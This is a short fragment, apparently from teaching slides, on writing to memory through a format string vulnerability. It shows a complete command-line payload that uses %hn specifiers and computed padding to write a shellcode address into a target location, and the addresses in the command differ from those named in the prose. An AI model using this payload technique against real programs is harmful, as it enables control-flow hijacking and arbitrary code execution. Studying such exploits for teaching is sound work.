Writing To Memory
\xbe\x95\x04\x08\xbc\x95\x04\x08
Using examples from above
Assuming
our shellcode is 0xbffffed5, HOB is 0xbfff and LOB is 0xfed5,
and
that the target address is 0x080495bc
./fmtstr `printf
“\xe6\x95\x04\x08\xe4\x95\x04\x08”`%.49143x%4\$hn%.16086x%5\$hn